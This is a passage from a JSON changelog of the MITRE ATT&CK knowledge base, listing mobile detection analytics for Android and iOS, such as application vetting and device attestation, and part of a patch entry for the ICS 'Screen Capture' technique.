"source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0709#AN1833", + "external_id": "AN1833" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1833", + "description": "Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ea9bb66e-1ced-4448-8d64-4184ae1c0ac9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0709#AN1834", + "external_id": "AN1834" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1834", + "description": "Application vetting services could look for usage of the `READ_PRIVILEGED_PHONE_STATE` Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b6618b3a-370c-44af-86db-d4640799ed6e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0710#AN1835", + "external_id": "AN1835" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1835", + "description": "Mobile security products can use attestation to detect compromised devices.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0b0e244e-9386-4520-b030-9e330c6c1930", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0710#AN1836", + "external_id": "AN1836" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1836", + "description": "Mobile security products can use attestation to detect compromised devices.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fbc0a210-8942-4fcb-81f1-a120551013d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0711#AN1837", + "external_id": "AN1837" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1837", + "description": "Application vetting services can detect which broadcast intents an application registers for and which permissions it requests. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fdb6acce-e069-4e35-8a4b-f4517924f092", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0712#AN1838", + "external_id": "AN1838" + }, + { + "source_name": "Android-VerifiedBoot", + "description": "Android. (n.d.). Verified Boot. Retrieved December 21, 2016.", + "url": "https://source.android.com/security/verifiedboot/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1838", + "description": "Application vetting services could detect applications trying to modify files in protected parts of the operating system.\nVerified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android\u2019s SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromised devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--98b0a8a6-881d-4f00-84c3-3f70d368067e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0712#AN1839", + "external_id": "AN1839" + }, + { + "source_name": "Android-VerifiedBoot", + "description": "Android. (n.d.). Verified Boot. Retrieved December 21, 2016.", + "url": "https://source.android.com/security/verifiedboot/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1839", + "description": "Application vetting services could detect applications trying to modify files in protected parts of the operating system.\nVerified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android\u2019s SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromised devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--983ae9ea-a125-498a-862d-00d5bed2087a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0713#AN1840", + "external_id": "AN1840" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1840", + "description": "Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b7b70725-f1d8-4fad-8fc4-fc1b9cbf77ef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0713#AN1841", + "external_id": "AN1841" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1841", + "description": "Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--944c3eaa-2809-4db3-ac7c-d1868e205793", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0714#AN1842", + "external_id": "AN1842" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1842", + "description": "The user can examine the list of all installed applications, including those with a suppressed icon, in the device settings. If the user is redirected to the device settings when tapping an application\u2019s icon, they should inspect the application to ensure it is genuine.\nApplication vetting services could potentially detect the usage of APIs intended for suppressing the application\u2019s icon.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b6d679b6-0777-4541-874c-d81f37d8fb07", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0715#AN1843", + "external_id": "AN1843" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1843", + "description": "Unexpected behavior from an application could be an indicator of masquerading.\nApplication vetting services may potentially determine if an application contains suspicious code and/or metadata.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ff9c219a-b8e7-4b0a-8ea5-4f81341375d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0715#AN1844", + "external_id": "AN1844" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1844", + "description": "Unexpected behavior from an application could be an indicator of masquerading.\nApplication vetting services may potentially determine if an application contains suspicious code and/or metadata.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--42ce5243-8859-49dc-b221-2674536063ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0716#AN1845", + "external_id": "AN1845" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1845", + "description": "The OS may show a notification to the user that the Signal or WhatsApp account has been linked to a new device. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--758e4b0e-3564-4696-8d57-9e3d81198d52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0716#AN1846", + "external_id": "AN1846" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1846", + "description": "The OS may show a notification to the user that the Signal or WhatsApp account has been linked to a new device. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4ec34db8-7214-4059-925e-bdcd58bca391", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0717#AN1847", + "external_id": "AN1847" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1847", + "description": "This is abuse of standard OS-level APIs and are therefore typically undetectable to the end user.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--86aa8777-e12a-4dab-81ed-354bed18f3db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0718#AN1848", + "external_id": "AN1848" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1848", + "description": "Application vetting services could look for connections to unknown domains or IP addresses. \nApplication vetting services may indicate precisely what content was requested during application execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d7e3296a-9f95-4061-b3f5-0f02910745ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0718#AN1849", + "external_id": "AN1849" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1849", + "description": "Application vetting services could look for connections to unknown domains or IP addresses. \nApplication vetting services may indicate precisely what content was requested during application execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dd1b3351-f8e5-480e-9e7d-f9cfbbf01409", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0719#AN1850", + "external_id": "AN1850" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1850", + "description": "Hooking can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6fb4668b-9c70-44d2-87a3-43ff2dc699f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0720#AN1851", + "external_id": "AN1851" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1851", + "description": "Dynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--739bd746-e98b-45cb-8bc6-3c8876745b4a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0720#AN1852", + "external_id": "AN1852" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1852", + "description": "Dynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b95bc556-c98c-459e-9327-49830ce9c77c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0721#AN1853", + "external_id": "AN1853" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1853", + "description": "Application vetting services can detect malicious code in applications.\nSystem partition integrity checking mechanisms can detect unauthorized or malicious code contained in the system partition.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c8eb9196-3134-4954-9331-838556db9aa1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0721#AN1854", + "external_id": "AN1854" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1854", + "description": "Application vetting services can detect malicious code in applications.\nSystem partition integrity checking mechanisms can detect unauthorized or malicious code contained in the system partition.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Sensor Health", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + } + ], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + } + }, + "ics-attack": { + "techniques": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [ + { + "type": "attack-pattern", + "id": "attack-pattern--c5e3cdbc-0387-4be9-8f83-ff5c0865f377", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-05-21 17:43:26.506000+00:00", + "modified": "2025-10-24 17:49:21.744000+00:00", + "name": "Screen Capture", + "description": "Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. (Citation: ICS-CERT October 2017) Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-ics-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T0852", + "external_id": "T0852" + }, + { + "source_name": "ICS-CERT October 2017", + "description": "ICS-CERT 2017, October 21 Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors Retrieved. 2017/10/23 ", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], 